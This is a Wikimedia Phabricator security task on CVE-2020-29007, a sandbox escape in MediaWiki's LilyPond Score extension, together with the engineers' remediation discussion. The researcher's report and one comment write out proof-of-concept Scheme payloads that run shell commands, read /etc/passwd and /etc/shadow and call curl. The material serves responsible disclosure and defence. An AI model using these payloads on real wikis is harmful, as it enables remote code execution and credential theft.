Page MenuHomePhabricator

Lilypond seemingly not subject to restrictions (CVE-2020-29007)
Closed, ResolvedPublicSecurity

Description

Report from security@


Hello,

I’m a security researcher and I have discovered a vulnerability which is present in Wikipedia. I am not sure if it’s caused by a bug in MediaWiki, the extension used for LilyPond (either LilyPond or Score), the (configuration of MW or such plugin), LilyPond’s -dsafe sandbox or GNU Guile’s --r5rs-safe sandbox (although I do think that it’s not LilyPond or Guile bug, as I wasn’t able to run e.g. system function on LilyPond with -dsafe; I think it’s a configuration bug), but it seems that the sandboxing doesn’t work properly.

While I didn’t perform any serious exploitation, throughout the testing it became clear that I can perform several actions which I should not be able to do, like exploring the filesystem, reading /etc/passwd entries or executing shell commands.

Here’s a simple template for testing:

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

[scheme code goes here]

}>></score>}}

The output of the template will be a score with a single note, with command’s output rendered as its caption.

For examples:

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(number->string (system “/bin/false”))

}>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(number->string (system “/bin/true”))

}>></score>}}

This confirms that we have command execution as on Wikipedia the first one will render 256 as a caption and the second one will render 0. This is because /bin/false is a program that exits immediately with a non-zero exit code, /bin/true exits immediately with a zero exit code, system function executes a shell command and returns exit code number, and number->string converts it to string.

Other available command-execution functions include execl, excle and execlp.

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(object->string (getpwuid 0))

}>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(object->string (getpwuid (getuid)))

}>></score>}}

The first one uses Guile Scheme standard library to parse root’s entry in /etc/passwd (getpwuid 0), then converts it to a string representation (object->string). The second one does the same thing for currently logged-in user (on Wikipedia it is www-data).

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(if (file-exists? “/var/www/html/index.html”) “true” “false”)

}>></score>}}

This can explore the file system (we can list directory contents with opendir and readdir procedures)

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(object->string (uname))

}>></score>}}

This can get system info

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(if (defined? ‘connect) “true” “false”)

}>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(if (defined? ‘socket) “true” “false”)

}>></score>}}

This checks for networking-related functions (socket, connect); didn’t try running those though.

{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^#

(number->string (system “/usr/bin/curl [URL HERE]”))

}>></score>}}

This should send request with curl; in my tests, it doesn’t work and causes an error when rendering page.

In my opinion, those actions should not be allowed as they allow for code execution and probably further exploitation. Functions which allow execution of system commands, making network connections, direct access to file system and reading of system info should not be available.


end of email

Related Objects

Event Timeline

There are a very large number of changes, so older changes are hidden. Show Older Changes

@Krinkle spawning of processes can be disabled with ulimit, although I'm not sure if it would fix the problem with command execution. Code like

(system "cat /etc/shadow > hashes")

would not run because system forks the procces, but this

(execl "/bin/sh" "/bin/sh" "-c" "cat /etc/shadow > hashes")

would probably still work because exec* syscalls replace process code in memory.

Yes, I do believe such features would be expected to work through the Score extension, and a list of tasks disabling safe mode is in the description of T174413: Set $wgScoreSafeMode to false. An example is with paper sizes, which get changed for Wikisource and such (the example from T161293: Paper format with Score extension in Wikipedia is A4 only is https://de.wikipedia.org/w/index.php?title=Benutzer:Reiner_Stoppok/Tanzlied_aus_Poniky ). Also just generally, I'd expect it to work on snippets like LY's official examples: http://lilypond.org/examples.html (which may include colours). As these blocked interfaces are expressly for the requested features, it would be hard/impossible to function without.

Yes, I do believe such features would be expected to work through the Score extension, and a list of tasks disabling safe mode is in the description of T174413: Set $wgScoreSafeMode to false. An example is with paper sizes, which get changed for Wikisource and such […]. Also just generally, I'd expect it to work on snippets like LY's official examples: http://lilypond.org/examples.html (which may include colours). As these blocked interfaces are expressly for the requested features, it would be hard/impossible to function without.

Thanks, that helps.

I think any mode in which Lilypond does not do anything to at least try to disallow use of system, open-pipe, open-input-pipe, file-exists etc is unacceptable in production. Regardless of any firejail configuration. I see firejail as protection in case Lilypond has a leak, not as the first line of defence.

The features you describe seem related to Lilypond and its user-facing purpose, those seem fine. Why are those disabled in Lilypond outside safe mode? What makes them unsafe? Should there be another mode that enables only these features but not the others?

...
But /etc/firejail/mediawiki.local doesn't exist in Wikimedia production, and seemingly productions mediawiki-converters.profile isn't actually used

I think any mode in which Lilypond does not do anything to at least try to disallow use of system, open-pipe, open-input-pipe, file-exists etc is unacceptable in production. Regardless of any firejail configuration. I see firejail as protection in case Lilypond has a leak, not as the first line of defence.

Definitely, yes! Firejail is an additional mitigation layer and defense in depth (to e.g. lessen the impact of code execution vulnerabilities in executed external binaries such as convert/image), but should never the sole safeguard against code execution. With the current (known risky) setup of Mediawiki/extensions shelling out to external binaries the individual parts which protect us are:

  • Restriction of parameters/options passed to the external binary (to e.g. prevent shell command injection when running the binary, disable insecure modes etc.)
  • Keeping our infrastructure rigorously patched for known security issues, limiting the impact of code execution for chained exploits (especially preventing local privilege escalation, we're not doing all those pesky reboots for nothing :-)

Firejail is simply an additional layer on top of that which makes some exploitation harder, but not what protects us in the first place. That said, I'll have a more in depth look on Monday what we can do to create a more specific profile for Lilypond, in contrast to the generic mediawiki firejail profile we could create a specific one for Lilypond.

In fact this whole task is very similar to https://phabricator.wikimedia.org/T136402 in the PdfHandler extension which was found/fixed back in 2016.

With a cursory look from yesterday, the following issues apply or would need further investigation:

  • We did not run lilypond in a firejail due to a mediawiki-config configuration bug.
  • We did not run lilypond in safe mode, on purpose, as safe mode breaks a number of common features. With a very small sample, about 50% of our existing files break. @Platonides may have better numbers. Some of these may be intentional (for e.g. resource use), but some may be unintentional (e.g. color definition are not defined as symbols). It does not feel like the safe codepaths are well used or tested, which is a problem on its own.
  • Lilypond's code does not seem to be safe-by-default. -dsafe is not the default and only buried in the documentation. Variables/methods are unsafe by default, e.g. define-public is unsafe and define-safe-public is the safe version, rather than vice-versa. In many places the mode is not called "safe", but "safer", which is... scary. Lilypond has a --jail option that recommends instead of safe, but which is nothing but a setgid/setuid/chroot/chdir; hardly secure.
  • "The Guile interpreter is part of LilyPond, which means that Scheme can be included in LilyPond input files. There are several methods for including Scheme in LilyPond". Guile is a powerful language, with POSIX in its stdlib, as well as Dynamic FFI, essentially allowing arbitrary code execution by design. Guile has a sandboxed evaluation mode (h/t @CDanis), but Lilypond does not seem to employ it. Effectively, this a "Microsoft Excel runs macros by default" blast from the past situation :)
  • Besides the use of Scheme per se, Lilypond also uses PostScript as an intermediate format, relying on Ghostscript to convert to PNG. It does not call Ghostscript with -dSAFER, or in some cases calls it with -dNOSAFER. This is explicit, present in the version we run in production, but also as recent as with commits as recent as 2 weeks ago (Revert adding .setsafe for Ghostscript command). It also allows users to embed arbitrary postscript using \postscript, effectively allowing arbitrary code execution, even in safe mode. This is perhaps also indicative of upstream's attitude towards considering all input as trusted.
  • Similar injection code paths could be present in other backends, including e.g. its SVG output; it's unclear whether it allows arbitrary SVG elements to be included (including maybe <script>?). I also don't think we use SVG in production right now? But one could imagine an otherwise innocuous change being deployed to enable it in the future, so we should at least evaluate this or add a bunch of warnings for our future selves.
  • All in all, I think this needs to be discussed with upstream, to hopefully result into a mindset shift with regards to whether input is considered trusted or untrusted by default. In its current state, I don't think it's reasonable for users to even run this on their desktops with anything but scores they've personally handcrafted, or for distributors like Debian to ship this without warnings to that effect.

Yes, arbitrary SVG can be included in LilyPond code, including scripts. We don't use SVG though as there are some output bugs.

  • All in all, I think this needs to be discussed with upstream, to hopefully result into a mindset shift with regards to whether input is considered trusted or untrusted by default. In its current state, I don't think it's reasonable for users to even run this on their desktops with anything but scores they've personally handcrafted, or for distributors like Debian to ship this without warnings to that effect.

In my personal opinion this would be the best choice, I think LilyPond would need significant changes in codebase to be secure for remote usage (basically, it should be redesigned to use a more restricted subset of Scheme, with no POSIX functionality and no way to use I/O ports like network or filesystem). if I had to place LilyPond scores on the web, I'd upload the locally pre-rendered images and midis, plus a reference to the source code so anyone could compile them locally. But I am speaking from the perspective of a security researcher and don't know if it's acceptable for Wikipedia.

I'll get in touch with Lilypond wrt a secure-by-default approach, with explicit opt-in for risky features (which might be needed by some files in the wild). The documentation speaks about -dsafe being "for web servers", but no application should default to arbitrary code injection when running something as innocuous as "lilypond file.ly". Failing that, there's still the possibility to switch over Debian's packages of lilypond to a sane default (might be a simple as switching the default in lily/global-vars.cc, needs a closer look). It's not uncommon that Debian has stricter defaults than upstream, e.g. Debian's sudo applied environment variable whitelisting for several years until it was eventually adopted by upstream as well, but ideally this happens in the upstream code base.

Even Ghostscript finally defaulted to dsafer in the 9.50 release late last year...

I'll get in touch with Lilypond wrt a secure-by-default approach, with explicit opt-in for risky features (which might be needed by some files in the wild). The documentation speaks about -dsafe being "for web servers", but no application should default to arbitrary code injection when running something as innocuous as "lilypond file.ly". Failing that, there's still the possibility to switch over Debian's packages of lilypond to a sane default (might be a simple as switching the default in lily/global-vars.cc, needs a closer look). It's not uncommon that Debian has stricter defaults than upstream, e.g. Debian's sudo applied environment variable whitelisting for several years until it was eventually adopted by upstream as well, but ideally this happens in the upstream code base.

Even Ghostscript finally defaulted to dsafer in the 9.50 release late last year...

Thanks Moritz. Fingers crossed we get some sane responses, but I guess this might take a while.

Could you also have a look at Lego's patch below?

...
But /etc/firejail/mediawiki.local doesn't exist in Wikimedia production, and seemingly productions mediawiki-converters.profile isn't actually used

I know this isn't sufficient to re-enable lilypond as is, but for both when we do, and for the other shell scripts we still run from MW currently, this helps provide at least a more sensible firejail default profile, rather than just the contents of include /etc/firejail/globals.local, and whatever restriction has been set at point of running (things like no network) by the developer.

In some cases (including lilypond), this was lost when refactoring from individual wrapper scripts, which included the mediawiki-converters.profile, to the "default" included in MediaWiki, which resulted in quite a few less restricted paths etc

Given that the process for rendering scores includes two different steps which include interpreting a fully generic script language, would it not be more appropriate as a standalone service, where shell takeover could not expose the database or MediaWiki private settings?

Given that the process for rendering scores includes two different steps which include interpreting a fully generic script language, would it not be more appropriate as a standalone service, where shell takeover could not expose the database or MediaWiki private settings?

Indeed, although that of course involves much more work. @Joe and I had some discussion over the weekend about how to safely run "conversion lambdas" (which include Lilypond, image reformats, etc) on k8s in a sandboxed way (probably involving gVisor on special 'insecure' kube hosts. We will probably put together a design document.

Could you also have a look at Lego's patch below?

[..]

I know this isn't sufficient to re-enable lilypond as is, but for both when we do, and for the other shell scripts we still run from MW currently, this helps provide at least a more sensible firejail default profile, rather than just the contents of include /etc/firejail/globals.local, and whatever restriction has been set at point of running (things like no network) by the developer.

Looks good to me. I think we can safely move that patch to public Gerrit, though, it seems non-sensitive unless I'm missing some angle here?

Looks good to me. I think we can safely move that patch to public Gerrit, though, it seems non-sensitive unless I'm missing some angle here?

I don't think so, mostly an abundance of caution by Lego when he made the patch as we still hadn't dug that deep into things.

@Legoktm want to put it in gerrit?

Given that the process for rendering scores includes two different steps which include interpreting a fully generic script language, would it not be more appropriate as a standalone service, where shell takeover could not expose the database or MediaWiki private settings?

Indeed, although that of course involves much more work. @Joe and I had some discussion over the weekend about how to safely run "conversion lambdas" (which include Lilypond, image reformats, etc) on k8s in a sandboxed way (probably involving gVisor on special 'insecure' kube hosts. We will probably put together a design document.

Of course, this isn't necessarily feasible for all installations. While this might be better for Wikimedia, trying to get upstream (whether debian and/or Lilypond themslves) to have better defaults is a win for the wider community of both MediaWiki installs and Lilypond users.

As for which might get done quicker... :)

Looks good to me. I think we can safely move that patch to public Gerrit, though, it seems non-sensitive unless I'm missing some angle here?

I don't think so, mostly an abundance of caution by Lego when he made the patch as we still hadn't dug that deep into things.

@Legoktm want to put it in gerrit?

Done: https://gerrit.wikimedia.org/r/c/operations/puppet/+/609840/

I haven't seen it mentioned yet, so has filtering input before we pass it to lilypond considered? I don't know how sane the input format is for parsing, but could we ban potential unsafe things that e.g. shell out to postscript with regexes, etc.?

@Legoktm it might be possible to filter out anything containing Scheme code (provided that the only way to execute Scheme in LilyPond is by prefixing it with a hash, which I'm not sure of), but if we do allow Scheme, I don't believe that filtering out malicious code could be done reliably. Scheme has a very powerful (Turing-complete even) macro system, and it has run-time code evaluation as well so there's a lot of ways to obfuscate.

@Legoktm it might be possible to filter out anything containing Scheme code (provided that the only way to execute Scheme in LilyPond is by prefixing it with a hash, which I'm not sure of), but if we do allow Scheme, I don't believe that filtering out malicious code could be done reliably. Scheme has a very powerful (Turing-complete even) macro system, and it has run-time code evaluation as well so there's a lot of ways to obfuscate.

Thanks, I think this would be a good layer of defense for us to have in Score to have in addition to everything else.

Regarding sandbox, it depends. Could we configure the firejail to disallow all reading of disk beyond /tmp and block spawning of sub procs? I imagine LilyPond itself might need that capability. In which case I think we should only grant it that if it doesn't grant it further to the wikitext, in any form.

Trying to disallow all disk access is tricky because lilypond will need to load stuff in /usr/lib for system libraries it's compiled against. Ideally it would be configurable for people trying to run locally built lilypond versions or if it was installed to /opt, etc.

Blocking spawning of subprocesses is mostly doable though by using seccomp to disable the execve syscall (Shell:NO_EXECVE). But that isn't compatible with lilypond because /usr/bin/lilypond is actually a shell wrapper around /usr/bin/lilypond.real to adjust the library path. I don't know if that's an artifact of the Debian packaging or just how upstream intends for lilypond to be run, but fixing that should allow us to disable the execve syscall, assuming it isn't used internally, which I haven't bothered to check.

I think long-term moving lilypond and other external binaries like pygments (which also had an RCE in our shell wrapper around it!) to an isolated service makes sense.

Blocking spawning of subprocesses is mostly doable though by using seccomp to disable the execve syscall (Shell:NO_EXECVE). But that isn't compatible with lilypond because /usr/bin/lilypond is actually a shell wrapper around /usr/bin/lilypond.real to adjust the library path. I don't know if that's an artifact of the Debian packaging or just how upstream intends for lilypond to be run, but fixing that should allow us to disable the execve syscall, assuming it isn't used internally, which I haven't bothered to check.

It's an artefact caused by some unrelated tech debt in Lilypond: It hasn't been ported to Guile 2.x and when Guile 1.8 was removed from Debian, they bundled a local copy of Guile 1.8 in the source package... For context: Guile 2.0 was released in February 2011, and upstream is at 3.x these days...

The way the Lilypond build detects Guile also seems broken:

jmm@mw1261:~$ ldd /usr/bin/lilypond.real | grep guile
        libguile.so.17 => not found

BTW, I've noticed that there are some other websites which let you execute Lilypond in unsafe mode: Lilybin and Hacklily. I guess their maintainers should also be informed about the security implications of this.

@MoritzMuehlenhoff: That was a big discussion in LilyPond on upgrading Guile, and is in progress. The concern with upgrading was of performance, like with strings between both versions of Guile. Five years between the previous and current version though isn't encouraging.

I'll get in touch with Lilypond wrt a secure-by-default approach, with explicit opt-in for risky features

I wrote to the main authors on Tuesday, but no reply yet. I'll wait over the weekend and otherwise I'll try a public bug on their Gitlab instance next.

Left for this task:

  • Harden the disabling measure.
  • Better communication.
  • Improve on-wiki experiences.

Right now it's a single config variable assignment that if broken or missing for some reason will revert us the vulnerable state. Let's do something more, e.g. remove the lilypond package from app servers?

Comms is being worked on in an e-mail thread, I don't know the current status there.

On-wiki it currently displays a confusing error message. Communities are already working to hide this (T257623), but I'll patch the extension to make this better by default. E.g. render something small, localised, friendly message indicating that new musical scores can't be created currently with a link to (something).

hashar added a subscriber: hashar.

I have reformatted the original email to take advantage of Phabricator markdown formatting.

  • Improve on-wiki experiences.

Proposing:

Inline
export.png (546×1 px, 158 KB)
Block
export2.png (616×2 px, 42 KB)

Have we warned third-party wikis about this? Given the severity, and that the fact that there is some security issue with Lilypond on Wikipedia is already sort of public, warning other wiki admins to disable their Lilypond extensions seems prudent.

I guess this is more of a question for the parent task.

I wrote to the main authors on Tuesday, but no reply yet. I'll wait over the weekend and otherwise I'll try a public bug on their Gitlab instance next.

https://gitlab.com/lilypond/lilypond/-/issues/new allows to report an issue as non-public/confidential (but maybe you already implied that).

@Aklapper is this an official repository or just a mirror? I don't see it mentioned anywhere on lilypond.org. The one they do mention is a Savannah repo on GNU servers: https://git.savannah.gnu.org/gitweb/?p=lilypond.git

@Miszczyk: Yes, it's the official repository. They've just moved.

Right now it's a single config variable assignment that if broken or missing for some reason will revert us the vulnerable state. Let's do something more, e.g. remove the lilypond package from app servers?

I think that's sensible, yes. It needs an accompanying Puppet patch: https://gerrit.wikimedia.org/r/c/operations/puppet/+/612274

The current way lilypond gets installed is less than ideal anyway: Due to the fact that it relied on Guile 1.8, it was marked as buggy and is not part of Debian stretch (what we run our mw fleet on). As such, the current puppetisation implicitly pulls the package from stretch-backports and due to the fact that backports is a moving target, we actually run two different versions of lilypond in production: 45 servers have 2.18.2-12~bpo9+1 and the rest has 2.19.81+really-2.18.2-13~bpo9+1...

In addition stretch-backports will vanish soon (T256877), so when/if lilypond is re-enabled at some point we need to ship it as separate repo component.

Right now it's a single config variable assignment that if broken or missing for some reason will revert us the vulnerable state. Let's do something more, e.g. remove the lilypond package from app servers?

I think that's sensible, yes. It needs an accompanying Puppet patch: https://gerrit.wikimedia.org/r/c/operations/puppet/+/612274

lilypond is now removed fleet-wide.

Local testing suggests that even the serving of pre-generated images is broken, for no good reason. I submitted https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Score/+/614596 and https://gerrit.wikimedia.org/r/c/operations/mediawiki-config/+/614598 to fix this, as well as adding a better error message per @Krinkle's proposal above.

The next goal will be re-enabling with safe modes enabled in LilyPond and GhostScript. This will probably require a patched LilyPond package.

Local testing suggests that even the serving of pre-generated images is broken, for no good reason.

Actually there was a local patch on deploy1001 which fixed this. I replaced it with my fix. My two changes have been deployed.

The simplest workaround for the -dSAFER issue is to have LilyPond just generate PostScript, and for MediaWiki to convert the PostScript to PNG. Running LilyPond with --ps also allows it to be run under firejail with --seccomp=execve (I tested this).

Definitely, yes! Firejail is an additional mitigation layer and defense in depth (to e.g. lessen the impact of code execution vulnerabilities in executed external binaries such as convert/image), but should never the sole safeguard against code execution. With the current (known risky) setup of Mediawiki/extensions shelling out to external binaries the individual parts which protect us are:

Obviously this contradicts the design choice made in T171372, which was a project to replace -dsafe with firejail. The reason for doing that was because -dsafe is a poorly-maintained mode which cannot parse most of the existing LilyPond files on the web, or even many of the examples in the LilyPond documentation.

I don't think it's reasonable to disable the extension pending a wholesale change in attitude from upstream, presumably coupled with a rewrite. That's not going to happen any time soon.

I would propose re-enabling LilyPond without -dsafe with the following changes:

  • Use two layers of encapsulation instead of one. Create a wrapper service and run it inside a container which does not have a MediaWiki source tree or network access. The container would presumably be on a separate server. The wrapper service would run LilyPond under Firejail, with execve disabled.
  • Cease offering .ly downloads. These present a security risk to users. Downloads of LilyPond source files could be re-enabled if they can be parsed by MediaWiki and confirmed as safe.
  • Use two layers of encapsulation instead of one. Create a wrapper service and run it inside a container which does not have a MediaWiki source tree or network access. The container would presumably be on a separate server. The wrapper service would run LilyPond under Firejail, with execve disabled.

FTR @Joe has also been thinking along the lines of a generic lambdaoid infrastructure that could run untrusted shell-outs: https://docs.google.com/document/d/1nGv5N1_PYM5Wl5TTPlkFI8TZTSokuJcmdIZD-dKZdEA/edit#heading=h.p2gimpy8t9gc

We had also talked about possibly setting up gvisor or something similar for such services -- it looks to offer stronger protections than regular containers and/or firejail.

The simplest workaround for the -dSAFER issue is to have LilyPond just generate PostScript, and for MediaWiki to convert the PostScript to PNG. Running LilyPond with --ps also allows it to be run under firejail with --seccomp=execve (I tested this).

This is https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Score/+/615594 . I didn't use --seccomp=execve for LilyPond in this patch because the way the Debian package uses LD_LIBRARY_PATH complicates it. I don't think it's necessary before re-enabling in safe mode anyway. I used --seccomp=execve for GhostScript, since that was easy.

  • Cease offering .ly downloads. These present a security risk to users. Downloads of LilyPond source files could be re-enabled if they can be parsed by MediaWiki and confirmed as safe.

This is https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Score/+/615595

This comment was removed by tstarling.

The latest action is at T257090 and T259210. I've disabled LilyPond execution again since it was not possible to deploy the patch for T259210 in a timely way.

Is the issue still being worked on? Is there some sort of timeline for developing the fix?

Hey guys, I want to give everyone a heads-up: I'm going to give a talk about Lilypond security on Oh My Hack conference on 28 November (https://omhconf.pl and I'm intending to disclose this issue. I don't think it's going to be a big deal for Wikipedia as Lilypond is now disabled, but I do think that maintainers of other MediaWiki installations should know about the impact of having this extension enabled.

@MoritzMuehlenhoff - Did you ever receive a response from the Lilypond authors?

@MoritzMuehlenhoff - Did you ever receive a response from the Lilypond authors?

I received a response from Jonas Hahnfeld and Han-Wen Nienhuys and subsequently discussed the issues with them. Several related changes were made to LilyPond. There was a recent status update on the lilypond-devel list.

The status is that no work is currently underway in rectifying the ongoing issues with LilyPond's safe mode. The only related work I'm doing is on OS-level isolation (Shellbox).

The issue has been assigned CVEID CVE-2020-29007. The advisory can be found here: https://seqred.pl/en/cve-2020-29007-remote-code-execution-in-mediawiki-score/

@Miszczyk, the solution to the CVE would be to activate safe mode in Score, as is the default (with $wgScoreSafeMode). Disabling the extension completely is appropriate with the problems in safe mode, but is drastic for the vulnerability presented, already having a better alternative built-in.

@Ebe123 thanks for the feedback. Is safe mode considered safe now, or are there still vulnerabilities being addressed there?

No, there are still vulnerabilities in safe mode.

Hmm, I don't feel comfortable recommending it if it's still possible to bypass safe mode by changing the payload. If right now Score is an RCE risk one way or another, I'd prefer to keep it disabled until we have a reasonably good fix.

sbassett renamed this task from Lilypond seemingly not subject to restrictions to Lilypond seemingly not subject to restrictions (CVE-2020-29007).Dec 8 2020, 3:35 PM

With Shellbox in place, providing OS-level sandboxing/containment, I think we're mostly ready to call this resolved. There are still known safe mode bypasses, but we're OK with that given Shellbox.

I wrote up a short security advisory based on information that's already public, see https://www.mediawiki.org/wiki/Extension:Score/2021_security_advisory, please edit/improve.

I'd like to make this task and others public mid next week when re-enabling Score everywhere.

@Legoktm I've added the original vulnerability (CVE-2020-29007) to the list, otherwise I think the advisory is ok.

Legoktm claimed this task.

Score+Shellbox is re-enabled on most public Wikimedia wikis now. The security advisory will be sent out to mediawiki-announce soon.

Legoktm changed the visibility from "Custom Policy" to "Public (No Login Required)".Aug 20 2021, 9:50 PM
Legoktm changed the edit policy from "Custom Policy" to "All Users".